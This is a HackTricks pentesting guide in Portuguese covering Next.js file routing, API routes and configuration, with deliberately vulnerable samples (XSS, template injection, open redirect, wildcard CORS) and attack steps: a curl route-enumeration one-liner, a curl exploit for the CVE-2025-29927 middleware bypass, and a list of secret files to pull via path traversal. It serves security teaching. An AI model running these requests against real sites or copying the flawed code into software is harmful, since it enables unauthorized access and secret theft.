NextJS

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Arquitetura Geral de uma Aplicação Next.js

Estrutura de Arquivos Típica

Um projeto Next.js padrão segue uma estrutura específica de arquivos e diretórios que facilita recursos como routing, API endpoints e gerenciamento de assets estáticos. Aqui está um layout típico:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Diretórios e Arquivos Principais

  • public/: Hospeda assets estáticos como imagens, fontes e outros arquivos. Arquivos aqui são acessíveis no caminho raiz (/).
  • app/: Diretório central para as páginas, layouts, componentes e rotas de API da sua aplicação. Adota o paradigma App Router, permitindo recursos avançados de roteamento e segregação entre componentes de servidor e cliente.
  • app/layout.tsx: Define o layout raiz da sua aplicação, envolvendo todas as páginas e fornecendo elementos de UI consistentes como cabeçalhos, rodapés e barras de navegação.
  • app/page.tsx: Serve como ponto de entrada para a rota raiz /, renderizando a página inicial.
  • app/[route]/page.tsx: Lida com rotas estáticas e dinâmicas. Cada pasta dentro de app/ representa um segmento de rota, e o page.tsx dentro dessas pastas corresponde ao componente da rota.
  • app/api/: Contém rotas de API, permitindo criar funções serverless que lidam com requisições HTTP. Essas rotas substituem o diretório tradicional pages/api.
  • app/components/: Abriga componentes React reutilizáveis que podem ser utilizados em diferentes páginas e layouts.
  • app/styles/: Contém arquivos CSS globais e CSS Modules para estilização com escopo por componente.
  • app/utils/: Inclui funções utilitárias, módulos auxiliares e outra lógica não relacionada à UI que pode ser compartilhada pela aplicação.
  • .env.local: Armazena variáveis de ambiente específicas do ambiente de desenvolvimento local. Essas variáveis não são commitadas no controle de versão.
  • next.config.js: Personaliza o comportamento do Next.js, incluindo configurações do webpack, variáveis de ambiente e configurações de segurança.
  • tsconfig.json: Configura as opções do TypeScript para o projeto, habilitando checagem de tipos e outras funcionalidades do TypeScript.
  • package.json: Gerencia dependências do projeto, scripts e metadados.
  • README.md: Fornece documentação e informações sobre o projeto, incluindo instruções de configuração, diretrizes de uso e outros detalhes relevantes.
  • yarn.lock / package-lock.json: Bloqueiam as dependências do projeto para versões específicas, garantindo instalações consistentes entre diferentes ambientes.

Lado do Cliente em Next.js

Roteamento baseado em arquivos no diretório app

O diretório app é a pedra angular do roteamento nas versões mais recentes do Next.js. Ele aproveita o sistema de arquivos para definir rotas, tornando o gerenciamento de rotas intuitivo e escalável.

Tratando o caminho raiz /

Estrutura de Arquivos:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Arquivos-chave:

  • app/page.tsx: Lida com requisições para o caminho raiz /.
  • app/layout.tsx: Define o layout da aplicação, envolvendo todas as páginas.

Implementação:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Explicação:

  • Definição de Rota: The page.tsx file directly under the app directory corresponds to the / route.
  • Renderização: Este componente renderiza o conteúdo da página inicial.
  • Integração de Layout: O componente HomePage é envolvido por layout.tsx, que pode incluir cabeçalhos, rodapés e outros elementos comuns.
Tratando Outros Paths Estáticos

Exemplo: Rota /about

Estrutura de Arquivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Explicação:

  • Definição de Rota: O arquivo page.tsx dentro da pasta about corresponde à rota /about.
  • Renderização: Este componente renderiza o conteúdo da página /about.
Rotas Dinâmicas

Rotas dinâmicas permitem tratar caminhos com segmentos variáveis, permitindo que aplicações exibam conteúdo com base em parâmetros como IDs, slugs, etc.

Exemplo: Rota /posts/[id]

Estrutura de Arquivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Explicação:

  • Dynamic Segment: [id] denota um segmento dinâmico na rota, capturando o parâmetro id da URL.
  • Accessing Parameters: O objeto params contém os parâmetros dinâmicos, acessíveis dentro do componente.
  • Route Matching: Qualquer caminho que corresponda a /posts/*, como /posts/1, /posts/abc, etc., será tratado por este componente.
Rotas Aninhadas

Next.js suporta rotas aninhadas, permitindo estruturas de rota hierárquicas que refletem a organização de diretórios.

Exemplo: Rota /dashboard/settings/profile

Estrutura de Arquivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Explicação:

  • Aninhamento Profundo: O arquivo page.tsx dentro de dashboard/settings/profile/ corresponde à rota /dashboard/settings/profile.
  • Reflexo da Hierarquia: A estrutura de diretórios reflete o caminho da URL, aumentando a facilidade de manutenção e a clareza.
Rotas Catch-All

Rotas catch-all lidam com múltiplos segmentos aninhados ou caminhos desconhecidos, proporcionando flexibilidade no tratamento de rotas.

Exemplo: /* Rota

Estrutura de Arquivos:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementação:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Explicação:

  • Catch-All Segment: [...slug] captura todos os segmentos de caminho restantes como um array.
  • Uso: Útil para lidar com cenários de roteamento dinâmico como caminhos gerados por usuários, categorias aninhadas, etc.
  • Correspondência de Rotas: Caminhos como /anything/here, /foo/bar/baz, etc., são tratados por este componente.

Vulnerabilidades Potenciais no Lado do Cliente

Embora o Next.js forneça uma base segura, práticas de codificação inadequadas podem introduzir vulnerabilidades. As principais vulnerabilidades no lado do cliente incluem:

Cross-Site Scripting (XSS)

Ataques de Cross-Site Scripting (XSS) ocorrem quando scripts maliciosos são injetados em websites confiáveis. Os atacantes podem executar scripts nos navegadores dos usuários, roubando dados ou executando ações em nome do usuário.

Exemplo de Código Vulnerável:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Por que é vulnerável: Usar dangerouslySetInnerHTML com entradas não confiáveis permite que atacantes injetem scripts maliciosos.

Client-Side Template Injection

Ocorre quando entradas de usuário são tratadas incorretamente em templates, permitindo que atacantes injetem e executem templates ou expressões.

Exemplo de Código Vulnerável:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Por que é Vulnerável: Se template ou data incluir conteúdo malicioso, isso pode levar à execução de código não intencionado.

Client Path Traversal

É uma vulnerabilidade que permite que atacantes manipulem caminhos do lado do cliente para executar ações não intencionadas, como Cross-Site Request Forgery (CSRF). Ao contrário do server-side path traversal, que mira no sistema de arquivos do servidor, o CSPT foca em explorar mecanismos do lado do cliente para redirecionar requisições API legítimas para endpoints maliciosos.

Exemplo de Código Vulnerável:

Uma aplicação Next.js permite que usuários façam upload e download de arquivos. A funcionalidade de download é implementada no lado do cliente, onde os usuários podem especificar o caminho do arquivo para baixar.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Cenário de Ataque

  1. Objetivo do atacante: Realizar um ataque CSRF para deletar um arquivo crítico (por ex., admin/config.json) manipulando o filePath.
  2. Explorando CSPT:
  • Entrada maliciosa: O atacante cria uma URL com o filePath manipulado, como ../deleteFile/config.json.
  • Chamada API resultante: O código do lado do cliente faz uma requisição para /api/files/../deleteFile/config.json.
  • Tratamento pelo servidor: Se o servidor não validar o filePath, ele processa a requisição, potencialmente deletando ou expondo arquivos sensíveis.
  1. Executando CSRF:
  • Link forjado: O atacante envia à vítima um link ou incorpora um script malicioso que dispara a requisição de download com o filePath manipulado.
  • Resultado: A vítima executa a ação sem saber, levando a acesso ou exclusão não autorizada de arquivos.

Por que é vulnerável

  • Falta de validação de entrada: O lado do cliente permite entradas arbitrárias em filePath, possibilitando path traversal.
  • Confiança nas entradas do cliente: A API do lado do servidor confia e processa o filePath sem sanitização.
  • Ações potenciais da API: Se o endpoint da API executa ações que alteram estado (por ex., deletar, modificar arquivos), pode ser explorado via CSPT.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Use os caminhos descobertos (por exemplo /docs, /docs/content/examples, /signin) para direcionar auth testing e endpoint discovery.

Lado do Servidor em Next.js

Renderização no Lado do Servidor (SSR)

As páginas são renderizadas no servidor a cada requisição, garantindo que o usuário receba HTML totalmente renderizado. Nesse caso você deve criar seu próprio servidor personalizado para processar as requisições.

Casos de Uso:

  • Conteúdo dinâmico que muda com frequência.
  • Otimização de SEO, já que os motores de busca podem rastrear a página totalmente renderizada.

Implementação:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Geração Estática de Sites (SSG)

Páginas são pré-renderizadas em tempo de build, resultando em tempos de carregamento mais rápidos e redução da carga no servidor.

Casos de Uso:

  • Conteúdo que não muda com frequência.
  • Blogs, documentação, páginas de marketing.

Implementação:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funções serverless (Rotas de API)

Next.js permite a criação de endpoints de API como funções serverless. Essas funções são executadas sob demanda sem a necessidade de um servidor dedicado.

Casos de uso:

  • Processar envios de formulários.
  • Interagir com bancos de dados.
  • Processar dados ou integrar com APIs de terceiros.

Implementação:

Com a introdução do diretório app no Next.js 13, o roteamento e o tratamento de APIs tornaram-se mais flexíveis e poderosos. Essa abordagem moderna se alinha ao sistema de roteamento baseado em arquivos, mas introduz capacidades aprimoradas, incluindo suporte a componentes de servidor e de cliente.

Manipulador de rota básico

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementação:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explicação:

  • Localização: As rotas de API estão localizadas no diretório app/api/.
  • Nome dos Arquivos: Cada endpoint de API fica em sua própria pasta contendo um arquivo route.js ou route.ts.
  • Funções Exportadas: Em vez de um único export default, são exportadas funções específicas para métodos HTTP (por exemplo, GET, POST).
  • Tratamento de Resposta: Use o construtor Response para retornar respostas, permitindo maior controle sobre cabeçalhos e códigos de status.

Como lidar com outros caminhos e métodos:

Tratamento de Métodos HTTP Específicos

Next.js 13+ permite que você defina manipuladores para métodos HTTP específicos no mesmo arquivo route.js ou route.ts, promovendo um código mais claro e organizado.

Exemplo:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicação:

  • Múltiplas exportações: Cada método HTTP (GET, PUT, DELETE) tem sua própria função exportada.
  • Parâmetros: O segundo argumento fornece acesso aos parâmetros de rota via params.
  • Respostas aprimoradas: Maior controle sobre objetos de resposta, permitindo gerenciamento preciso de cabeçalhos e códigos de status.
Rotas Catch-All e Aninhadas

Next.js 13+ suporta recursos avançados de roteamento como rotas catch-all e rotas de API aninhadas, permitindo estruturas de API mais dinâmicas e escaláveis.

Exemplo de rota Catch-All:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicação:

  • Sintaxe: [...] denota um segmento catch-all, capturando todos os caminhos aninhados.
  • Uso: Útil para APIs que precisam lidar com diferentes profundidades de rota ou segmentos dinâmicos.

Exemplo de Rotas Aninhadas:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Explicação:

  • Deep Nesting: Permite estruturas de API hierárquicas, refletindo relações entre recursos.
  • Parameter Access: Acesse facilmente múltiplos parâmetros de rota através do objeto params.
Tratamento de rotas de API no Next.js 12 e versões anteriores

Rotas de API no diretório pages (Next.js 12 e versões anteriores)

Antes do Next.js 13 introduzir o diretório app e capacidades de roteamento aprimoradas, as rotas de API eram definidas principalmente dentro do diretório pages. Essa abordagem ainda é amplamente usada e suportada no Next.js 12 e em versões anteriores.

Rota de API Básica

File Structure:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementação:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Explicação:

  • Localização: As rotas de API residem no diretório pages/api/.
  • Exportação: Use export default para definir a função handler.
  • Assinatura da Função: A função handler recebe os objetos req (requisição HTTP) e res (resposta HTTP).
  • Roteamento: O nome do arquivo (hello.js) mapeia para o endpoint /api/hello.

Rotas de API Dinâmicas

Estrutura de Arquivos:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementação:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Explicação:

  • Segmentos Dinâmicos: Colchetes ([id].js) indicam segmentos de rota dinâmicos.
  • Acessando Parâmetros: Use req.query.id para acessar o parâmetro dinâmico.
  • Tratamento de Métodos: Utilize lógica condicional para tratar diferentes métodos HTTP (GET, PUT, DELETE, etc).

Tratamento de Diferentes Métodos HTTP

Embora o exemplo básico de rota API trate todos os métodos HTTP dentro de uma única função, você pode estruturar seu código para tratar cada método explicitamente para maior clareza e facilidade de manutenção.

Exemplo:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Melhores Práticas:

  • Separação de Responsabilidades: Separe claramente a lógica para diferentes métodos HTTP.
  • Consistência nas Respostas: Garanta estruturas de resposta consistentes para facilitar o tratamento no lado do cliente.
  • Tratamento de Erros: Trate de forma elegante métodos não suportados e erros inesperados.

Configuração de CORS

Controle quais origens podem acessar suas rotas de API, mitigando vulnerabilidades de Cross-Origin Resource Sharing (CORS).

Exemplo de Configuração Ruim:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Observe que CORS também pode ser configurado em todas as rotas de API dentro do arquivo middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problema:

  • Access-Control-Allow-Origin: '*': Permite que qualquer site acesse a API, potencialmente permitindo que sites maliciosos interajam com sua API sem restrições.
  • Permissão ampla de métodos: Permitir todos os métodos pode permitir que attackers realizem ações indesejadas.

Como attackers exploram isso:

Attackers podem criar sites maliciosos que fazem requisições à sua API, potencialmente abusando de funcionalidades como recuperação de dados, manipulação de dados ou disparo de ações indesejadas em nome de usuários autenticados.

CORS - Misconfigurations & Bypass

Exposição de código do servidor no lado do cliente

Pode ser fácil usar código do servidor também no código exposto e usado pelo lado do cliente; a melhor forma de garantir que um arquivo de código nunca seja exposto no lado do cliente é usando este import no início do arquivo:

import "server-only"

Arquivos-chave e suas funções

middleware.ts / middleware.js

Localização: Raiz do projeto ou dentro de src/.

Propósito: Executa código na função serverless do lado do servidor antes que uma requisição seja processada, permitindo tarefas como autenticação, redirecionamentos ou modificação de respostas.

Fluxo de execução:

  1. Requisição de entrada: O middleware intercepta a requisição.
  2. Processamento: Executa operações com base na requisição (ex.: verificar autenticação).
  3. Modificação da resposta: Pode alterar a resposta ou passar o controle para o próximo handler.

Exemplo de casos de uso:

  • Redirecionar usuários não autenticados.
  • Adicionar cabeçalhos personalizados.
  • Registrar requisições.

Exemplo de configuração:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Se a autorização for aplicada no middleware, as versões afetadas do Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) podem ser contornadas injetando o header x-middleware-subrequest. O framework irá pular a recursão do middleware e retornar a página protegida.

  • O comportamento padrão é tipicamente um redirecionamento 307 para uma rota de login como /api/auth/signin.
  • Envie um valor longo para x-middleware-subrequest (repita middleware para atingir MAX_RECURSION_DEPTH) para alterar a resposta para 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Como páginas autenticadas carregam muitos subrecursos, adicione o cabeçalho a cada requisição (por exemplo, Burp Match/Replace com uma string de correspondência vazia) para evitar que os assets redirecionem.

next.config.js

Location: Raiz do projeto.

Purpose: Configura o comportamento do Next.js, habilitando ou desabilitando recursos, customizando as configurações do webpack, definindo variáveis de ambiente e configurando várias funcionalidades de segurança.

Key Security Configurations:

Cabeçalhos de Segurança

Cabeçalhos de segurança aumentam a segurança da sua aplicação, instruindo os navegadores sobre como tratar o conteúdo. Eles ajudam a mitigar vários ataques como Cross-Site Scripting (XSS), Clickjacking e MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Exemplos:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Configurações de Otimização de Imagens

Next.js otimiza imagens para performance, mas configurações incorretas podem levar a vulnerabilidades de segurança, como permitir que fontes não confiáveis injetem conteúdo malicioso.

Exemplo de Configuração Ruim:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problema:

  • '*': Permite que imagens sejam carregadas de qualquer fonte externa, incluindo domínios não confiáveis ou maliciosos. Atacantes podem hospedar imagens contendo payloads maliciosos ou conteúdo que induz usuários ao erro.
  • Outro problema pode ser permitir um domínio onde qualquer pessoa pode fazer upload de uma imagem (como raw.githubusercontent.com)

Como os atacantes abusam disso:

Ao injetar imagens de fontes maliciosas, atacantes podem realizar ataques de phishing, exibir informações enganosas ou explorar vulnerabilidades em bibliotecas de renderização de imagens.

Exposição de Variáveis de Ambiente

Gerencie informações sensíveis como chaves de API e credenciais de banco de dados de forma segura sem expô-las ao cliente.

a. Expondo Variáveis Sensíveis

Exemplo de Má Configuração:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Problema:

  • SECRET_API_KEY: Sem o prefixo NEXT_PUBLIC_, Next.js não expõe variáveis para o cliente. Entretanto, se for prefixada por engano (por exemplo, NEXT_PUBLIC_SECRET_API_KEY), ela se torna acessível no lado do cliente.

Como atacantes abusam disso:

Se variáveis sensíveis são expostas ao cliente, atacantes podem recuperá-las inspecionando o código do lado do cliente ou as requisições de rede, obtendo acesso não autorizado a APIs, bancos de dados ou outros serviços.

Redirecionamentos

Gerencie redirecionamentos e reescritas de URL dentro da sua aplicação, garantindo que os usuários sejam direcionados corretamente sem introduzir open redirect vulnerabilities.

a. Open Redirect Vulnerability

Exemplo de Configuração Incorreta:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problema:

  • Destino Dinâmico: Permite que usuários especifiquem qualquer URL, possibilitando ataques de open redirect.
  • Confiar na Entrada do Usuário: Redirecionar para URLs fornecidas por usuários sem validação pode levar a phishing, distribuição de malware ou roubo de credenciais.

Como atacantes o exploram:

Atacantes podem criar URLs que parecem se originar do seu domínio, mas que redirecionam usuários para sites maliciosos. Por exemplo:

https://yourdomain.com/redirect?url=https://malicious-site.com

Usuários que confiam no domínio original podem, sem perceber, navegar para sites maliciosos.

Configuração do Webpack

Personalize as configurações do Webpack para sua aplicação Next.js, o que pode inadvertidamente introduzir vulnerabilidades de segurança se não for tratado com cautela.

a. Expondo Módulos Sensíveis

Exemplo de Configuração Ruim:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problema:

  • Exposing Sensitive Paths: Apontar aliases para diretórios sensíveis e permitir acesso do lado do cliente pode causar um leak de informações confidenciais.
  • Bundling Secrets: Se arquivos sensíveis forem empacotados para o cliente, seus conteúdos tornam-se acessíveis através de source maps ou inspecionando o código do lado do cliente.

How attackers abuse it:

Atacantes podem acessar ou reconstruir a estrutura de diretórios da aplicação, potencialmente encontrando e explorando arquivos ou dados sensíveis.

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: Substitui o componente App padrão, permitindo estado global, estilos e componentes de layout.

Use Cases:

  • Injetar CSS global.
  • Adicionar envoltórios de layout.
  • Integrar bibliotecas de gerenciamento de estado.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Propósito: Substitui o Document padrão, permitindo a personalização das tags <html> e <body>.

Casos de uso:

  • Modificando as tags <html> ou <body>.
  • Adicionando meta tags ou scripts personalizados.
  • Integrando fontes de terceiros.

Exemplo:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Servidor personalizado (Opcional)

Objetivo: Embora o Next.js venha com um servidor embutido, você pode criar um servidor personalizado para casos de uso avançados, como roteamento customizado ou integração com serviços de backend existentes.

Nota: Usar um servidor personalizado pode limitar as opções de implantação, especialmente em plataformas como Vercel que otimizam para o servidor embutido do Next.js.

Exemplo:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Considerações Adicionais de Arquitetura e Segurança

Variáveis de Ambiente e Configuração

Objetivo: Gerenciar informações sensíveis e configurações fora da base de código.

Boas Práticas:

  • Use arquivos .env: Armazene variáveis como chaves de API em .env.local (excluído do controle de versão).
  • Acesse variáveis com segurança: Use process.env.VARIABLE_NAME para acessar variáveis de ambiente.
  • Nunca exponha segredos no cliente: Garanta que variáveis sensíveis sejam usadas somente no servidor.

Exemplo:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Nota: Para restringir variáveis apenas ao lado do servidor, omita-as do objeto env ou prefixe-as com NEXT_PUBLIC_ para exposição ao cliente.

Artefatos úteis do servidor para direcionar via LFI/endereços de download

Se encontrar um path traversal ou uma API de download em um app Next.js, mire em artefatos compilados que leak segredos do lado do servidor e a lógica de autenticação:

  • .env / .env.local para segredos de sessão e credenciais de provedores.
  • .next/routes-manifest.json and .next/build-manifest.json para uma lista completa de rotas.
  • .next/server/pages/api/auth/[...nextauth].js para recuperar a configuração compilada do NextAuth (frequentemente contém senhas de fallback quando os valores de process.env não estão definidos).
  • next.config.js / next.config.mjs para revisar rewrites, redirects e roteamento de middleware.

Autenticação e Autorização

Abordagem:

  • Autenticação baseada em sessão: Use cookies para gerenciar sessões de usuário.
  • Autenticação baseada em token: Implemente JWTs para autenticação sem estado.
  • Provedores de terceiros: Integre com provedores OAuth (ex.: Google, GitHub) usando bibliotecas como next-auth.

Práticas de Segurança:

  • Cookies seguros: Defina os atributos HttpOnly, Secure e SameSite.
  • Hashing de senhas: Sempre faça hash das senhas antes de armazená-las.
  • Validação de entrada: Previna ataques de injeção validando e sanitizando entradas.

Exemplo:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
